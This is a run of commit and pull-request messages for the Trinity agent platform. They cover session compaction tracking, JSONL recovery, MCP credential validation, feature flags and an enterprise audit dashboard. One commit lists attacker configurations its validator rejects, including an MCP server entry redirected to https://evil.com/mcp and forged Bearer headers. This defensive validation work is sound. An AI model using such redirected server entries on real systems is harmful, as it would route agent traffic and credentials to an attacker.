persists it (separate commit).

Five new unit tests exercise: single-event capture in batch parser,
multi-event ordering within one turn, empty-events on a normal turn,
streaming-parser capture, and model_dump round-trip for the wire shape.

Live behaviour requires rebuilding trinity-agent-base:latest and
recreating each agent container — already done locally at the new SHA.

* feat(session-tab): surface auto-compact events in Session + Tasks UI

Two surfaces, one signal:

TasksPanel — adds a small violet "compacted" badge next to the trigger
badge for any execution that fired one or more compact_boundary events.
Multi-compact turns show `compacted ×N`. Hover tooltip lists each event
with pre→post tokens and duration so latency anomalies become legible
at a glance. Reads task.compact_metadata (denormalized JSON column)
without needing to follow the relation back to agent_session_messages.

SessionPanel — adds an inline italic hint adjacent to the Reset memory
button when the active session has compacted more than 5 times. Reads
session.compact_count (running tally maintained by the DB layer). Quiet
under normal use; visible only when stacked compacts have meaningfully
degraded summary fidelity. Threshold lives as a script-local constant
(COMPACT_HINT_THRESHOLD) for easy tuning from telemetry later.

The currentSession computed (deleted in Bundle A when the pressure
banners went away) is reinstated here since the inline hint needs it.

Pinia store sessions.js needs no change — compact_count and
compact_metadata ride through on the existing API responses without
new state slots.

* fix(db): propagate compact_metadata through DatabaseManager facade

b12307c extended ScheduleOperations.update_execution_status with the
new compact_metadata kwarg but missed the thin facade wrapper in
database.py. The session turn endpoint hit:

  TypeError: DatabaseManager.update_execution_status() got an
  unexpected keyword argument 'compact_metadata'

Trivial fix — the facade just forwards. Caught at runtime on the first
Session turn after Bundle B landed.

* fix(db): propagate compact_metadata through DatabaseManager.add_session_message

Same facade gap as the prior fix for update_execution_status — the thin
wrapper in database.py was missed. Surfaced as:

  TypeError: DatabaseManager.add_session_message() got an unexpected
  keyword argument 'compact_metadata'

…on the first Session-tab turn after the previous facade fix unblocked
the schedule_executions write path.

Adds the same two pass-through kwargs (compact_metadata,
compact_event_count) so the Session router can persist auto-compact
events on session messages and bump the running compact_count tally.

* fix(agent-server): recover from stdout pipe race via JSONL fallback

When a tool subprocess (or MCP grandchild) inherits Claude Code's
stdout fd and wedges the agent server's reader thread, the stream-json
result event is lost. The Phase 5.1 soft-recovery (response_parts !=
[] → synthesize success) only fires when stdout managed to deliver at
least one assistant text block before the wedge. For races that fire
mid-tool-call (zero text emitted to stdout), response_parts is empty
and the soft-recovery falls through to a hard 502.

Symptom users saw: heavy multi-step tasks (e.g. /session-context-pressure
running `python3 -c "..."` via Bash to generate 32KB of synthetic text)
sometimes returned "Execution completed without a result message after
0 tool calls / 1 turns (raw_messages=4)" — even though the JSONL on
disk contained the fully-completed turn. Probabilistic; retry usually
worked; root cause was the kernel pipe buffer exhausting before the
reader thread could drain after grandchildren died.

Fix: when the existing soft-recovery path falls through (no
response_parts text), read the session's JSONL via a side-channel that
is INDEPENDENT of stdout (Claude Code's own session record). Walk
backward to the most recent user-input boundary (string content,
distinguished from tool_results which have list-of-dicts content),
collect every assistant.text block emitted after, and synthesize a
soft-success response. Sets metadata.recovered_from_jsonl=True for
observability. If no text was emitted between boundary and EOF, the
turn is genuinely incomplete and the original 502 surfaces.

11 unit tests cover happy path (matches the actual failure shape with
2× Bash tool_use + tool_result + final text), boundary discrimination
(tool_result must not terminate the user-input search), multi-turn
isolation (only the LAST turn's text recovers), genuine-incomplete
detection (thinking-only or tool-only turns return None and surface
the 502), and robustness (malformed/truncated tail lines, blank lines).

Bounded read at 10MB to defend against pathological JSONL sizes; uses
existing /home/developer/.claude/projects/-home-developer/ path
already known to the cleanup service.

Verified end-to-end on the rebuilt agent-base: 7 turns of
/session-context-pressure executed cleanly with 3 reader-thread races
that drained naturally (none required the new fallback). Recovery is
a safety net only; happy-path behavior unchanged.

Backend reload not required. Agent-base rebuild + container recreate
required to deploy. Backward compat: old images returning no
recovered_from_jsonl field default to False.

* fix(agent-server): pull compact event detail from JSONL after the turn

Bundle B's stdout-side parser detected compact_boundary events but
captured them with all-None pre/post/duration/trigger fields — Claude
Code's --output-format stream-json strips the compactMetadata envelope
on the way out (the JSONL on disk has it, stdout doesn't). Confirmed
on the live agent: stored compact_metadata blobs were
[{"trigger":null,"pre_tokens":null,"post_tokens":null,...}] while the
JSONL contained the canonical shape with real numbers.

Add _extract_compact_events_from_jsonl(session_id, since_iso=None) — a
short helper modeled after the recovery extractor — that scans the
session JSONL post-turn and returns CompactEvent records with the
real detail fields. Called in execute_headless_task right before
returning, scoped via since_iso to records emitted from a turn-start
anchor onward (the JSONL accumulates across the resumed session, so
unfiltered would include compacts from prior turns).

Detection-only stdout branch is retained as a safety net (count
preserved if JSONL read fails) but its log line is removed — the
authoritative log line now fires from the JSONL extract with full
fields.

Effect on existing data: stored compact_metadata blobs from before
this commit keep their nulls (no backfill); new turns from now on
land with full pre_tokens / post_tokens / duration_ms / trigger /
timestamp. Tasks-tab tooltip on the violet "compacted" badge now
shows real numbers.

9 new unit tests (20 total in the suite): canonical JSONL shape,
since_iso scoping with exclusive and inclusive boundaries, multi-
compact ordering, missing/null compactMetadata defensive handling,
malformed-line robustness, empty-result paths.

Live smoke verified: rebuilt base image, recreated testfix, turn
endpoint returns compact_events:[] for non-compacting turns; the
existing session a2trktlTnXA9KD- already shows compact_count=1
unchanged.

Requires agent-base rebuild + container recreate to deploy.

* fix(credentials): strip auto-injected mcpServers.trinity before validating

Commit b474520 (sec(mcp): structure-validate .mcp.json content) added
RESERVED_SERVER_NAMES = {"trinity"} as a defense against attacker-
controlled redefinition of the auto-injected Trinity MCP server entry.
But the agent server's inject_trinity_mcp_if_configured() writes
mcpServers.trinity into .mcp.json on every agent start where
TRINITY_MCP_API_KEY is set — so the file the user loads in the
credentials editor always contains it, and every save trips the
validator with "MCP server name 'trinity' is reserved by Trinity".

Effect on the user: the credentials Save button silently failed for
every agent that had been started at least once. Confirmed regression
introduced by b474520 — pre-this-branch, .mcp.json went through the
inject endpoint with no content validation and the same auto-injected
trinity entry was accepted.

Fix at the backend: strip mcpServers.trinity from the submitted JSON
before it reaches validate_mcp_config. The agent re-injects the
canonical trinity entry from env vars on next startup, so the user
can't lose it by leaving it out of the saved file. The defense-in-
depth value of the reserved-name rule is preserved — an attacker still
can't substitute a different shape under the trinity name, because
their substitution is dropped before validation rather than rejected.

Side benefit: this self-heals corrupted bearer values in the existing
trinity entry (e.g. the historical "Bearer sqlite3.IntegrityError: ..."
strings written by some long-removed prior code path). The agent
overwrites the entry on next start with a fresh value from env.

11 unit tests cover happy path, mixed user+trinity entries, the exact
historical corruption shape, no-op cases (no trinity / no servers /
no mcpServers), robustness on malformed input (passes through to the
validator's own JSON error), and output-shape preservation.

Verified end-to-end on testfix: POST /api/agents/testfix/credentials/inject
with the corrupted-bearer trinity entry + a context7 entry returns
HTTP 200, backend logs the strip, on-disk .mcp.json contains only
context7 with the corrupted bearer cleanly removed.

Backend reload only — no agent rebuild required.

* fix(credentials): allow canonical trinity entry through validator instead of stripping

Replaces the strip approach from 705de47 (Option B) with a shape-
equivalence check in the validator (Option A) — the strip silently
dropped the user's edits to the trinity entry, which broke the
legitimate "rotate my MCP API key" flow on agents that don't have the
auto-inject env var set to recover the entry on next start.

Symptom 705de47 introduced: opening .mcp.json, editing one digit in
the trinity Bearer token, clicking Save → backend stripped the entry
before validation → on-disk file became {"mcpServers": {}} → user's
trinity MCP entry was lost.

Fix: keep RESERVED_SERVER_NAMES = {"trinity"} as the closed-shape
defense, but special-case it in `_validate_entry`: if the entry under
the trinity name matches the canonical Trinity-MCP shape exactly
(only `type`, `url`, `headers` keys; `type=http`; `url` matches the
configured TRINITY_MCP_URL or the documented default; `headers`
contains only `Authorization` with a `Bearer trinity_mcp_…` token),
accept it. Otherwise hit the existing reserved-name reject.

Strict allowlist on the canonical shape:
  - exact key set: {type, url, headers} — no extras
  - type == "http"
  - url ∈ {TRINITY_MCP_URL env, "http://mcp-server:8080/mcp"}
  - headers has only Authorization
  - Authorization matches /^Bearer\s+trinity_mcp_[A-Za-z0-9_-]{1,200}$/

Attacker scenarios still rejected:
  - stdio redefinition (npx + args) under trinity → reserved
  - http with evil URL (https://evil.com/mcp) → reserved
  - canonical url + extra header (X-Custom) → reserved
  - canonical url + non-Bearer auth → reserved
  - canonical url + Bearer with non-trinity_mcp_ token → reserved

Strip helper and its caller in routers/credentials.py reverted.
test_strip_reserved_trinity.py removed (its scenarios now covered by
the validator's own tests).

10 new unit tests in test_mcp_validator.py cover the canonical-shape
allowance + each rejection variant. 102 total tests in the validator
suite — all green.

Live verified end-to-end on testfix:
  - POST /credentials/inject with edited bearer → 200, file updated
  - POST /credentials/inject with stdio shape → 400 reserved-name
  - User's original bearer restored after the test

* chore(gitignore): exclude saved-conversations/ and tests/manual/ from future stages

Both directories are local-only working artifacts (conversation
transcripts and the hand-driven testing kit) that should never be
pushed. They were already gitignored implicitly by being untracked,
but a future ``git add .`` could inadvertently stage them. Listing
them in .gitignore makes the exclusion explicit and accident-proof.

* feat(session-tab): flip feature flag default to True for GA (#651)

Phase 5.3 GA. Session tab is now exposed to users on every fresh
install without an admin opt-in step.

Resolution order is unchanged:
  1. system_settings row 'session_tab_enabled' if present (admin override)
  2. SESSION_TAB_ENABLED env var (only honored as opt-out: false/0/no)
  3. Default: True

Admins who want to keep it hidden can set
``session_tab_enabled = false`` in system_settings or export
``SESSION_TAB_ENABLED=false``.

Closes the Phase 5.3 step in #651.

* docs: address PR #652 review feedback — requirements, GA status, security section

- Add §5.8 Session Tab entry to requirements.md (Rule 4 — new P1 capability
  must be registered in the single source of truth)
- Flip three stale "default off / Phase 5 rollout pending" references in
  architecture.md, feature-flows.md, and feature-flows/session-tab.md to
  reflect the GA default-on flag flip from PR #651
- Add ## Security Considerations section to feature-flows/session-tab.md
  covering 404-not-403 ownership isolation (E6), Redis lock for concurrent
  --resume (Anthropic #20992), cross-session contamination empirical gate
  (Anthropic #26964), and JSONL prompt-injection persistence with the
  Reset memory mitigation

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
dolho added a commit that referenced this pull request May 26, 2026
Replaces the #847 Phase 0 SSO mock stub with the first concrete
enterprise feature: an admin-facing audit log dashboard.

Backend (public repo, stays OSS):
- New GET /api/audit-log/distinct/event-types
- New GET /api/audit-log/distinct/actor-types
- Both admin-gated (Depends(require_admin)); populate dashboard filter
  dropdowns without hardcoding the AuditEventType enum on the frontend.
- Registered BEFORE /{event_id} catch-all (invariant #4).

Frontend (public OSS bundle, entitlement-gated route):
- views/enterprise/Audit.vue — paginated table + filter form + side
  detail panel.
- stores/auditLog.js — domain store (entries, filters, distinct lists,
  pagination, selectedEntry). Default time window = last 24h.
- router/index.js — /enterprise/audit route with
  meta.requiresEntitlement = 'audit'.
- views/enterprise/Index.vue — audit card flipped to Available; SSO
  card kept as Coming soon.
- Login.vue — removed the SSO provider buttons mock.
- Deleted views/enterprise/SSO.vue (350-line mock).

Submodule (trinity-enterprise):
- register_module("audit") replaces register_module("sso").
- Deleted backend/sso/{router,providers,__init__}.py.
- See trinity-enterprise#feature/941-audit-registration.

Entitlement model: backend stays OSS (audit_log endpoints predate the
seam via SEC-001 / #20 — retroactive gating would break OSS admins).
Only the OSS-side dashboard route is enterprise-gated.

Tests:
- New tests/unit/test_847_audit_dashboard.py (6 cases): distinct DB
  ops, router ordering invariant, admin gate, no-entitlement-gate
  pin.
- Updated test_847_entitlement_seam.py: 'sso' → 'audit' assertions,
  new submodule static check.
- New e2e/audit-dashboard.spec.js (Playwright, 4 cases).

Docs:
- audit-trail.md — Phase 5 row + Frontend Layer section.
- enterprise-modules.md — current-state note + audit registration code.
- architecture.md — distinct endpoints added to audit-log table.

PR #910 scope expands to close both #847 (seam) and #941 (dashboard).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
dolho added a commit that referenced this pull request May 27, 2026
…ldable card (#941 v3)

Adds two new admin-only audit-log endpoints and a unified foldable
Activity card on the dashboard.

Backend (OSS — same pattern as the existing /stats and /distinct/*):
- GET /api/audit-log/heatmap  — sparse 7×24 dow×hour grid
- GET /api/audit-log/calendar — sparse per-day list (GitHub-style)

Both honor start_time / end_time / event_type / actor_type so the
two views stay coherent with the table + stats under drill-down.

Frontend (OSS, entitlement-gated by 'audit'):
- Single foldable Activity card with Weekly | Calendar tabs
- v-show keeps both heatmaps mounted — tab swap is instant
- Calendar cell click → drilldownToDay(date) narrows the dashboard
  to one UTC day and reloads list + stats + both heatmaps together

Tests: +8 unit tests covering bucketing, filter pass-through, router
ordering vs /{event_id} catch-all (invariant #4), empty-window
contract. Full suite: 14 pass.

Docs: architecture.md endpoint table + audit-trail.md Phase 5 v3 /
v3.1 rows + endpoint descriptions + test catalog.

Related to #941.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
vybe pushed a commit that referenced this pull request May 27, 2026
…#910)

* feat(enterprise): private submodule + EntitlementService seam + SSO PoC (#847 Phase 0)

Issue #847 spike. Establishes the open-core split between the public
Trinity backend and a private companion repo `Abilityai/trinity-enterprise`
that ships compliance-gating features (SSO, SCIM, SIEM) without merging
them into the public codebase.

The spike research is in `docs/planning/OSS_ENTERPRISE_SPLIT_RESEARCH.md`
(521 lines, six load-bearing decisions, stress-tested against eight other
open issues). The condensed decision record is
`docs/planning/ENTERPRISE_ARCHITECTURE.md`.

What lands in this PR (Phase 0):

  Public-repo seam (the integration mechanism):
  * `src/backend/services/entitlement_service.py` — `EntitlementService`
    Phase 0 stub. Returns True for every `is_entitled(feature_id)` check
    unless `TRINITY_OSS_ONLY=1` env is set, in which case every check
    flips False. Module-level singleton + `_set_for_testing` test seam.
  * `src/backend/dependencies.py:requires_entitlement(feature_id)` —
    FastAPI dependency factory mirroring `require_role`. Raises HTTP 403
    naming the missing feature so the UI can surface a "license required"
    toast. Lazy-imports the service so tests can swap singletons.
  * `src/backend/main.py` — conditional `try: from enterprise import
    register_enterprise except ImportError`. Loaders mounted under
    `/api/enterprise/*` when the submodule is present; OSS-only builds
    log an informational message and continue. Idempotent via
    `app.state.enterprise_registered`.
  * `src/backend/routers/settings.py` — `/api/settings/feature-flags`
    extended with `enterprise_features: list[str]`. Drives UI tab
    visibility.
  * `.gitmodules` + new submodule mount at `src/backend/enterprise`
    pointing to the private repo via SSH.
  * `docker-compose.yml` env pass-through for `TRINITY_OSS_ONLY`.
  * `.github/workflows/build-without-submodule.yml` — boots the
    backend without the enterprise submodule and asserts `/health`
    responds, `/api/settings/feature-flags` returns
    `enterprise_features: []`, `/api/enterprise/sso/providers`
    returns 404, and the OSS-only log line is emitted. Catches
    regressions where the conditional import becomes hard-required.

  Private-repo PoC content (in `Abilityai/trinity-enterprise`, mounted
  at `src/backend/enterprise/`):
  * `__init__.py` — `register_enterprise(app)` single entry point.
  * `sso/router.py` — `/api/enterprise/sso/{providers,login/{id}}`
    stubs. `GET /providers` returns the in-process registry (empty by
    default); `POST /login/{id}` returns 501 "PoC stub" or 404 for
    unknown id. Both gated by `requires_entitlement("sso")` with a
    lazy-import fallback so the private repo tests in isolation.
  * `sso/providers.py` — `SSOProvider` ABC + `StubProvider`.

  Tests (`tests/unit/test_847_entitlement_seam.py`, 14 cases):
  * EntitlementService default + TRINITY_OSS_ONLY deny path
  * Parametrised truthy/falsy env spellings
  * `requires_entitlement` allow/deny (skip-on-no-passlib for local)
  * `_set_for_testing` singleton swap
  * Static check that main.py uses conditional ImportError guard

  Docs:
  * `docs/planning/ENTERPRISE_ARCHITECTURE.md` — condensed decision
  * `docs/planning/OSS_ENTERPRISE_SPLIT_RESEARCH.md` — long-form research
  * `docs/dev/ENTERPRISE_LOCAL_DEV.md` — 15-min clone-to-running guide
  * `docs/memory/requirements.md` §34.1

  Live verification (local instance):
  * Submodule mounted at `src/backend/enterprise/`
  * `GET /api/enterprise/sso/providers` → `[]`
  * `GET /api/settings/feature-flags` → `enterprise_features: ["sso","scim","siem"]`
  * `POST /api/enterprise/sso/login/foo` → HTTP 404 "Unknown SSO provider 'foo'"
  * With `TRINITY_OSS_ONLY=1`: `/api/enterprise/sso/providers` returns 403
    "Enterprise feature 'sso' is not licensed", `enterprise_features: []`
  * Restored default: re-entitled

Out of scope (separate follow-up issues):
  * Phase 1: Ed25519-signed license token + verify path + admin License UI
  * Phase 2: extract `audit_log` into the submodule as first real enterprise module
  * Phase 3: prove "core-primitive + enterprise-knob" pattern via #834
  * Phase 4: real SSO/SAML implementation (replaces PoC stubs)
  * MCP entitlement edge for the TypeScript MCP server
  * Fix repo license-of-record (currently NOASSERTION) — owner decision

Related to #847

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(enterprise): dual-mount submodule + frontend SSO view (#847 Phase 0.5)

Add the frontend half of the enterprise seam. The private repo
`Abilityai/trinity-enterprise` was restructured into `backend/` and
`frontend/` subdirs, and the public repo now mounts it as TWO submodules
at different paths — same URL, different mount points — so each
consumer reads only its own subdir:

  src/backend/enterprise/         → backend/  consumed by Python (`main.py`)
  src/frontend/src/enterprise/    → frontend/ consumed by Vite (`main.js`)

One private codebase to version; two clean import surfaces. Disk waste
is ~2× the repo size (the same code cloned twice) which is far cheaper
than two private repos drifting out of sync.

Changes:

  Backend (import path bump):
  * `src/backend/main.py` — `from enterprise.backend import register_enterprise`
    (was `from enterprise import ...`).
  * `tests/unit/test_847_entitlement_seam.py` — static-check asserts
    the new import path.

  Frontend (new):
  * `src/frontend/src/main.js` — conditional
    `import.meta.glob('./enterprise/frontend/index.js', { eager: false })`.
    Empty in OSS-only builds; calls `mod.registerEnterprise(router, app)`
    when present. Logs which mode it's in.
  * `src/frontend/src/stores/enterprise.js` — new Pinia store. Loads
    `/api/settings/feature-flags` after auth, caches
    `enterprise_features: list[str]`. Getters: `isEntitled(featureId)`,
    `hasAnyEnterprise`. Test seam `_setFeaturesForTest`.
  * `src/frontend/src/components/NavBar.vue` — new `Enterprise` link
    `v-if="enterpriseStore.isEntitled('sso')"` with `PRO` badge.
    Hidden in OSS-only mode and when `TRINITY_OSS_ONLY=1`.

  Submodule:
  * `.gitmodules` — second entry at `src/frontend/src/enterprise/` for
    the same private repo URL.

  CI:
  * `.github/workflows/build-without-submodule.yml` — asserts BOTH
    mount points are empty (`backend/__init__.py` AND
    `frontend/index.js`) and that the OSS-only log line + 404 + empty
    `enterprise_features` invariants hold.

  Docs:
  * `docs/planning/ENTERPRISE_ARCHITECTURE.md` — directory tree + why
    one repo + dual-mount config + frontend seam description.
  * `docs/dev/ENTERPRISE_LOCAL_DEV.md` — three-submodule table,
    "working on the enterprise repo" steps for dual-mount sync.
  * `docs/memory/requirements.md` §34.1 — frontend integration in
    Key Features + private-repo layout.

Private repo content (Abilityai/trinity-enterprise) restructured in
a sibling commit (`refactor: split backend/ and frontend/ subdirs`):
  * `backend/__init__.py` + `backend/sso/` — was at repo root.
  * `frontend/index.js` — `registerEnterprise(router, app)`. Adds the
    `/enterprise/sso` route pointing at `EnterpriseSSO.vue`.
  * `frontend/views/EnterpriseSSO.vue` — Vue component. Fetches
    `/api/enterprise/sso/providers` via the public repo's shared
    `api.js`. Empty-state UI with the issue link.

Live verification (local instance):
  * `/api/enterprise/sso/providers` → `[]` (backend still works after
    import path change).
  * Vite serves `/src/enterprise/frontend/index.js` (200) and
    `/src/enterprise/frontend/views/EnterpriseSSO.vue` (200) with the
    `api.js` import resolved to `/src/api.js`.
  * `import.meta.glob` returns a populated object → enterprise module
    loaded → `[enterprise] frontend module loaded` console log.

Tests: 12 passed + 2 skipped (no-passlib local). No new test surface
for the frontend store/component — playwright e2e would catch
regressions but is out of scope for this Phase 0.5.

Related to #847

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(enterprise): frontend in OSS, EntitlementService registry (#847)

Reframe the open-core boundary: enterprise FRONTEND lives in the
public OSS bundle and is gated server-side via the
`enterprise_features` feature-flag. Only the private backend stays
behind the submodule. Vue components have no algorithmic IP — the
moat is the private backend logic (license verify, SAML signature
checks, OAuth flows).

This collapses the previous "dual-mount" complexity (same private
repo at two mount points) back to a single submodule mount, and
matches the existing feature-flag pattern (`session_tab_enabled`,
`voice_available`). Trade-off accepted: enterprise Vue source is
readable by anyone with the public repo, but the static UI files
are not the load-bearing IP.

The new closure mechanism is the EntitlementService **registry**:
- Each enterprise backend module calls
  `entitlement_service.register_module(feature_id)` on boot.
- `list_entitled_features()` returns the registered set (sorted).
- OSS-only builds never call `register_module` → empty set →
  `enterprise_features: []` → OSS frontend hides every enterprise
  surface.
- `TRINITY_OSS_ONLY=1` is a hard override (denies even when
  modules ARE registered).

Closes three Phase-0 issues:
1. OSS users no longer see broken "Enterprise" nav — registry is
   empty without the submodule, feature-flag empty, NavBar hides.
2. Adding non-SSO features (SCIM, SIEM) is now additive: ship Vue
   file in OSS, add backend module, call `register_module(id)`.
3. Login-page SSO button extension point is straightforward — same
   pattern: OSS Login.vue reads the providers list from a backend
   API when entitled (out of scope for this PR, but the seam exists).

Changes:

  Public repo:
  * `src/backend/services/entitlement_service.py` — replaces hardcoded
    `["sso","scim","siem"]` with a registry. `register_module(id)`,
    `is_entitled(id)`, `list_entitled_features()` all read from the
    set. Idempotent registration. TRINITY_OSS_ONLY=1 still hard-
    overrides everything.
  * `src/frontend/src/views/enterprise/SSO.vue` (new) — Vue PoC view,
    moved from the private repo's `frontend/views/EnterpriseSSO.vue`.
    Same UI; api.js import path adjusted to the OSS location
    (`../../api`).
  * `src/frontend/src/router/index.js` — static route entry for
    `/enterprise/sso` with `meta.requiresEntitlement: 'sso'`.
    `beforeEach` guard checks the entitlement store before
    navigation; redirects to `/` when not entitled
    (defence-in-depth against direct URL visits).
  * `src/frontend/src/main.js` — drops the
    `import.meta.glob('./enterprise/frontend/...')` block. Routes are
    static now.
  * `.gitmodules` — removes the `src/frontend/src/enterprise/`
    submodule entry. Only `src/backend/enterprise/` remains.
  * `src/frontend/src/enterprise` (submodule pointer) — deleted.
  * CI workflow `build-without-submodule.yml` — checks only the
    single backend mount; OSS-only frontend Vue files still bundle.
  * Docs (architecture, local-dev, requirements §34.1) — updated
    structure diagram, rationale, mount layout.
  * Tests (`test_847_entitlement_seam.py`) — registry contract:
    empty-by-default denies, `register_module` enables,
    idempotent. Updated allow-path test to `register_module("sso")`
    before asserting.

  Private repo (sibling commit, not in this PR):
  * `frontend/` subdir removed (moved to OSS).
  * `backend/__init__.py` now calls
    `entitlement_service.register_module("sso")` after mounting the
    SSO router.

Live verification (local):
* Default mode: `GET /api/settings/feature-flags` →
  `enterprise_features: ["sso"]` (only registered modules).
  `GET /api/enterprise/sso/providers` → `[]`. Enterprise nav link
  visible.
* `TRINITY_OSS_ONLY=1`: `enterprise_features: []`,
  `GET /api/enterprise/sso/providers` → 403, nav link hidden.
* Restored default — re-entitled.

Tests: 13 passed + 2 skipped (no-passlib local).

Related to #847

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(enterprise): SSO admin UI mock + Login page provider buttons (#847)

PoC enhancement to make the SSO surface demo-realistic. Backend
seeds two mock providers (Okta + Azure AD) and exposes three new
read endpoints (claim-mapping, session-policy) the OSS admin page
renders. All action buttons remain disabled with tooltips pointing
at issue #847 — no real OIDC/SAML implementation yet.

Public repo changes (this commit):

  * `src/frontend/src/views/enterprise/Index.vue` (new) — Enterprise
    catalogue landing page. Cards layout with status badges (SSO
    Available; SCIM/SIEM/License/Audit "Coming soon"). Linked from
    NavBar's `Enterprise` link.

  * `src/frontend/src/views/enterprise/SSO.vue` (rewrite) — full
    admin UI:
    - Header with "+ Add provider" button (opens modal)
    - Configured providers list with protocol badge, enabled/disabled
      indicator, issuer/metadata URL, last-login timestamp, and
      disabled Test/Edit/⋮ actions per row
    - Identity → Role Mapping table (4 rules: trinity-admins→admin,
      trinity-developers→creator, trinity-readonly→user, fallback)
    - Session Policy panel (force-SSO checkbox, session lifetime,
      admin-reauth checkbox — all disabled)
    - Add provider modal: protocol radio (OIDC/SAML), display name,
      provider ID, issuer URL, client ID/secret, scopes, callback
      URL with Copy button, enabled-on-save toggle, Cancel + Save
      buttons (Save disabled)

  * `src/frontend/src/views/Login.vue` — adds an "or sign in with"
    section under the email form when SSO providers are reachable.
    Fetches /api/enterprise/sso/providers unauthenticated (endpoint
    is gated by entitlement, not by user auth, so the pre-login page
    can call it). Two stub buttons render: "Continue with Okta" /
    "Continue with Azure AD". Both disabled with tooltip.

  * `src/frontend/src/router/index.js` — landing route + per-feature
    routes with two gate modes:
    - `meta.requiresAnyEntitlement` for the catalogue landing
    - `meta.requiresEntitlement: '<id>'` for per-feature pages
    Guard bounces non-entitled feature visits to /enterprise (when
    any feature is entitled) or / (otherwise).

  * `src/frontend/src/components/NavBar.vue` — link points at the
    catalogue landing (`/enterprise`). `v-if` uses
    `hasAnyEnterprise` so the Enterprise nav entry shows whenever
    any enterprise feature is registered.

  * `src/backend/enterprise` (submodule bump) — pulls in private
    repo's `feat(sso): seed PoC providers + claim-mapping +
    session-policy endpoints` (commit 3e90ddc).

Live verification:
  - Default (submodule mounted):
    * `/api/enterprise/sso/providers` → 2 providers
    * `/api/enterprise/sso/claim-mapping` → 4 rules
    * `/api/enterprise/sso/session-policy` → SessionPolicy defaults
    * `/enterprise` landing renders 5 cards (SSO available, others
      "Coming soon")
    * `/enterprise/sso` renders full admin UI with all buttons
      disabled
    * `/login` shows "Continue with Okta/Azure AD" buttons under
      email form
  - `TRINITY_OSS_ONLY=1`: providers endpoint 403, NavBar enterprise
    link hidden, Login SSO buttons hidden.

Related to #847

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(ci): lint + first-time-setup wiring for build-without-submodule

Two CI issues from the previous push:

1. `lint (sys.modules pollution check)` — 6 bare
   `del sys.modules[...]` calls in `test_847_entitlement_seam.py`
   exceeded baseline (`tests/lint_sys_modules.py` requires either
   `monkeypatch.delitem(sys.modules, ..., raising=False)` or the
   sanctioned `_STUBBED_MODULE_NAMES` pattern).
   Replaced all six with `monkeypatch.delitem` so the auto-restore
   on teardown also stops the test from leaking stale module
   imports into sibling tests. `_import_requires_entitlement_or_skip`
   helper now takes `monkeypatch` as a parameter so the pattern
   works from inside the helper too.

2. `backend boots without enterprise submodule` — `/api/token`
   returned 403 on a fresh DB because `is_setup_completed()` (in
   `routers/auth.py:212`) gates admin login behind first-time
   setup, which the previous workflow didn't complete. Added a new
   "Complete first-time setup" step that:
   - greps the setup token from `docker logs trinity-backend` (the
     token is printed to stdout at boot per `main.py:336-343`,
     gated on `setup_completed != true`)
   - POSTs to `/api/setup/admin-password` with the
     setup_token + password + confirm_password fields (schema in
     `routers/setup.py:28-32`)
   Replaced the hex `ADMIN_PASSWORD` with a known-strong value that
   meets the OWASP ASVS 2.1 complexity check the setup endpoint
   enforces (length 12+, upper, lower, digit, special).

   Also dropped the Bearer auth from the "SSO router not mounted"
   assertion — the `/api/enterprise/sso/*` router is
   entitlement-gated, not user-gated, so the unauthenticated 404
   check still proves the conditional import correctly skipped the
   mount.

Tests: 13 passed + 2 skipped locally (no-passlib).
Lint: clean against baseline.

Related to #847

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(ci): complete setup via docker exec, not API grep

The print() in main.py:336-343 that emits the setup token to stdout
is Python-block-buffered when stdout is a pipe (docker logs capture),
so the grep on a short timing window after /health returns OK is
unreliable. The previous attempt extracted an empty SETUP_TOKEN and
failed.

Bypass the API entirely: docker exec into the backend container and
write directly to the DB using the same helpers the production
endpoint uses (dependencies.hash_password + db.set_setting +
db.update_user_password). The flow:
  - set system_settings.setup_completed = 'true'
  - hash ADMIN_PASSWORD via the production helper
  - update admin user's password_hash

The password is passed via docker -e to avoid shell quoting issues
with the OWASP-compliant value (contains !).

Verified locally: docker exec into trinity-backend, the python
snippet runs cleanly and the bcrypt warning visible in CI logs is
benign (passlib version mismatch, doesn't break hashing).

Related to #847

* fix: print enterprise registration status instead of logger.info

The enterprise conditional-import block in main.py runs at module
init, which is BEFORE `lifespan` calls `setup_logging()`. Default
Python logging is at WARNING level, so `logger.info(...)` records
are silently dropped — neither the registered nor the OSS-only log
line appeared in docker logs, breaking the CI workflow that greps
for them.

Switch to `print(..., flush=True)` so the output goes to stdout
regardless of logger state. docker logs captures it (operators see
the boot mode), and the build-without-submodule CI workflow's grep
succeeds.

Verified locally: `docker logs trinity-backend | grep 'Trinity
Enterprise'` now shows the registered/OSS-only line.

Related to #847

* fix(tests): widen except-ImportError search window in main.py static check

The latest main.py commit (print(flush=True) + rationale comment)
pushed `except ImportError` past the 400-char window the test was
using to verify the conditional import is guarded. Widen to 1500 to
absorb future small additions without breaking the static check,
which is guarding the GUARD shape (try/except), not its byte
position.

Related to #847

* docs: enterprise modules feature flow with code links

Walk-through of how the open-core split works at runtime:
- boot chain (conditional import → register_enterprise → registry)
- request-time gating (feature-flags endpoint, requires_entitlement)
- frontend wiring (Pinia store, NavBar, route guard, Login.vue, Vue views)
- failure modes (OSS-only, TRINITY_OSS_ONLY=1)
- adding a new enterprise feature recipe
- test surfaces + CI

All sections link to file:line in the public repo and the private
trinity-enterprise repo on GitHub. Complements ENTERPRISE_ARCHITECTURE.md
(the 'why') and ENTERPRISE_LOCAL_DEV.md (15-min onboarding) with the
'how' at the code level.

Related to #847

* feat(audit): enterprise audit log dashboard (#941) + remove SSO PoC

Replaces the #847 Phase 0 SSO mock stub with the first concrete
enterprise feature: an admin-facing audit log dashboard.

Backend (public repo, stays OSS):
- New GET /api/audit-log/distinct/event-types
- New GET /api/audit-log/distinct/actor-types
- Both admin-gated (Depends(require_admin)); populate dashboard filter
  dropdowns without hardcoding the AuditEventType enum on the frontend.
- Registered BEFORE /{event_id} catch-all (invariant #4).

Frontend (public OSS bundle, entitlement-gated route):
